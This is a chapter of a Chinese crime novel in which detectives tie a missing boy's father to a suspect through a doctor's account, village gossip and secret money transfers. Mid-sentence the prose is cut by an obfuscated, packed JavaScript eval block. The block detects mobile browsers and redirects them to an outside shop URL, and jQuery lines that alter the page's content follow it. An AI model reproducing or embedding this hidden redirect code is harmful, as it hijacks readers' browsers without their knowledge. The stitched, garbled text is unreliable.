齐雨欣发来的信息像一块寒冰,沉甸甸地砸在蔡星澜和邓婉仪的心底。办公室的空气凝固了几秒,随即被更急迫的行动力打破。
“走,”蔡星澜抓起车钥匙,声音里压着风暴,“先去会会那个谢医生。”
怀江市几家以“高端私密”著称的私人妇产诊所,成了她们新的目标。在一家装修雅致、前台笑容标准却疏离的机构里,她们找到了曾为王美兰多次接诊的医生谢薇敏。
对方身着整洁的白大褂,妆容精致,起初保持着职业性的谨慎,直到邓婉仪将警官证连同正式协查函一起推到她面前。
谢薇敏的目光在证件上停留片刻,推了推金丝边眼镜,神色转为一种混合了凝重与了然的神情。
“王美兰女士……我有印象。”她的声音不高,在隔音良好的诊室里显得格外清晰,“她大约每隔一两年会来一次,主要是做早孕确认和初期咨询。话不多,但每次……都会看似不经意地问起关于胎儿性别鉴定的事。问得很迂回,很小心,可那种藏在平静下的、异乎寻常的在意,我们做医生的,多少能察觉到。”
她停顿了一下,指尖无意识地轻叩着光滑的桌面。“大概……十天前,她又来过一次。当时的检查结果,应该是怀上了,HCG数值很明确。这次,她的反应和以往不太一样。”
谢薇敏抬起眼,“没有太多追问,也没有以往的焦虑感,看上去……更像是一种任务终于达成的平静,甚至离开时,嘴角有那么一点如释重负的笑意。当然,这只是我个人的观察。”
“任务达成?如愿以偿?”蔡星澜敏锐地抓住这两个词。
谢薇敏微微颔首,又迅速补充:“这只是一种基于多次接触的感觉,不能作为医学判断。她具体的家庭情况,我不了解。我们只提供医疗服务。”
线索像冰层下的暗流,涌动着,看似孤立,却隐隐指向同一个方向。刚走出诊所,手机震动,是当地派出所的消息,让她们尽快回去一趟。
两人立刻驱车折返。推开临时办公室的门,一股室外的燥热被冷气包裹。风尘仆仆的高峰正仰头灌下一大瓶矿泉水,看见她们,立刻放下瓶子,眼神亮得灼人。
“我去了靠山屯,周天宇的老家!”他的语速很快,“两个姐姐的事,板上钉钉!村里不少上了年纪的都记得,周家确实有一对闺女,比周天宇大点。但在周天宇念初中那两三年里,两个女儿先后‘没了’。问怎么没的,说法五花八门,有说远嫁了再也联系不上的,有说出去打工出了意外的,还有老人直接摆手说‘女娃子的事,谁记得清’。但有一点很一致—女儿消失后没多久,周建国,也就是周天宇他爹,原本在村里也就混个温饱,突然就闹腾起来了,不仅在村里摆了阔气酒席,没多久就全家搬进了怀江市里,还在当时不错的地段安了家。这笔启动资金的来源,”
高峰压低声音,“村里没人能说清,但私下里,有人嘀咕过‘卖闺女’的钱。”
砰!
蔡星澜不自觉地手肘撞到了坚硬的桌沿,一阵熟悉的钝痛传来——那是白天在医院,为了避让一个突然冲出来的孩子,她自己侧身撞在消防栓箱角上留下的淤伤。疼痛让混乱的思绪瞬间拧成一股。
孩子……父亲……
当时医院嘈杂的走廊里,人很多。但她清晰地记得,另一侧,一位年轻的父亲,一手举着电话,眉头紧锁地说着工作的事,语气焦灼;然而他的另一只手,却始终稳稳地、几乎是本能地虚护在身边那个正踮脚摸墙上画的孩子脑后,形成一个保护性的弧度。
那种身体语言,是刻进骨子里的警觉与呵护。
而根据八年前的记录,林博文的父亲林岩,在案发时也接到了一通“单位打来的紧急电话”。正是那通电话占据了他短暂的注意力,就在妻子石夏返回家中取水壶的空档,孩子不见了。
一个患有先天性心脏病、需要格外看护的七岁男孩的父亲,真的会在一个并非绝对安全的环境下,如此“沉浸”于一通工作电话,以至于对近在咫尺的孩子被带走毫无所觉吗?
这个质疑像一根冰冷的针,猝不及防地刺破了之前基于“父亲也是受害者家属”而产生的某种默认信任。
几乎就在这个念头浮现的同一瞬间,桌面上那部内部加密通讯的手机屏幕骤然亮起,尖锐的提示音撕破了寂静。
齐雨欣的消息以醒目的红色标识弹出:
「星澜姐,婉仪姐,紧急突破!追查周天宇秘密资金流,发现一个高度可疑的关联账户。账户持有人是——林岩。林博文的生物学父亲林岩。」
「有多次、非规律性转账记录。第一笔大额资金转入时间,在林博文失踪报案后的第十五天。金额五万元整。交易备注‘借款’,但经查,双方无任何可追溯的正规借款协议,银行流水也无对应贷款记录。此后的转账时间分散,单笔金额数千至数万不等,最近一笔发生在三个月前。累计总额已超十万。」
「初步比对,部分资金流向与周天宇个人及其控制公司的异常消费、投资记录存在时间及金额上的吻合。正在全力追踪最终用途。」
林岩?
周天宇?
长期、隐秘、且起始于孩子失踪后不久的经济往来?
第一笔五万,就在报案后短短半个月?
蔡星澜和邓婉仪猛地抬起头,目光在空中死死交缠,都从对方眼中看到了剧烈的震惊和急速弥漫开的寒意。
先前所有支离破碎却隐隐指向同一个方向的线索—孟婆婆那恐惧目光最终锚定的“体面人”周天宇、他家族中如同被抹去痕迹的两个姐姐、他妻子王美兰那“怀而不生”的诡异记录—此刻,被这条突然横亘而出的、冰冷的、连接着受害者父亲与首要嫌疑人的金钱链条,强行拧合成一股更粗粝、更令人窒息的黑绳。
电话……疏忽……转账……时间点……
还有……那些亲戚欲言又止的背后。
蔡星
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078531|193854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
澜脑海里闪过前几日走访时,那些闪烁的言辞:
“林岩啊?”林岩的堂妹林馨怡当时撇着嘴,“不是个靠谱的男人!我听说他现在那个老婆,跟他早就有瓜葛了,没离婚就跟了他的!嫂子那时候忙着找博文,人都快垮了,哪顾得上查这些……”
旁边年纪大些的姑妈林红梅扯了扯林馨怡的袖子,却还是低声补充:“警察同志,这话……虽不好听,但也不是空穴来风。博文丢之前那阵,我有次去他们小区,确实……撞见过林岩跟一个年轻女人在小区边上说话,挨得挺近……那时候,他跟石夏可还没离呢!后来那女人肚子大起来,时间也对不上……”
“而且林岩看着文质彬彬,像个知识分子,”堂弟林跃语气鄙夷,“实则骨子里……哼,我们亲戚间私下都说,他有点那什么……老变态的倾向?估计就是嫌弃我嫂子生的博文有心脏病,是个‘病秧子’,不吉利!你们是没看见,他现在跟后来那老婆生的双胞胎儿子,健康得很,他带着到处走街串巷,生怕别人不知道,得意着呢!”
“表面上装得痛心疾首,实际上在意死了,嫌弃死了。”另一个亲戚林君杰冷冷补充。
离婚前就有了第三者,甚至可能在婚姻存续期间就已珠胎暗结。她们又想起调阅当年离婚协议时,那份过于“干脆”的财产分割—石夏几乎放弃了大部分共有财产,只要了那套充满回忆也充满痛苦的老房子,像是急于斩断一切,也或许是在巨大的悲痛和某种难以言说的怀疑中,失去了争抢的心力。
嫌弃自己不健康的儿子……
需要巨额资金维系的新家庭和新生子……
与一个背景复杂、家族存在“消失”女性成员、妻子怀孕记录异常、且被关键证人潜意识恐惧的男人之间,始于儿子失踪后的秘密金钱往来……
无数碎片在蔡星澜脑海中疯狂上涌、碰撞,发出尖锐的声响,试图在一个最黑暗、最违背人伦的图景中强行重组。
她的手无意识地握紧,指甲深深陷进虎口。
难道……林博文短暂而痛苦的一生,以及最终被掩埋于冰冷工地的结局,其最初的推手,竟然源于……?
她不敢再深想下去,但那恐怖的推断,却牢牢钉在了心头。
“查林岩!”蔡星澜的声音干涩而决绝,打破了几乎凝固的空气,“立刻!全面监控他的行踪、通讯、财务状况,尤其是与周天宇之间的一切联系。申请技术支援,复原他八年前案发前后的全部通讯记录和行动轨迹。”
“还有王美兰,”邓婉仪接口,脸色同样苍白却镇定,“她‘如愿以偿’的这一次怀孕,必须弄清楚背后的所有关联。周天宇、林岩、可能存在的婴儿非法交易……这条线,恐怕比我们想象的更脏。”
窗外,怀江市的夜幕彻底降临,路灯已经亮起,照亮繁华的街道,却照不进这间临时办公室里飘散着、源自人性最深沉黑暗的寒风。调查,终于逼近了那个可能让所有人战栗的核心。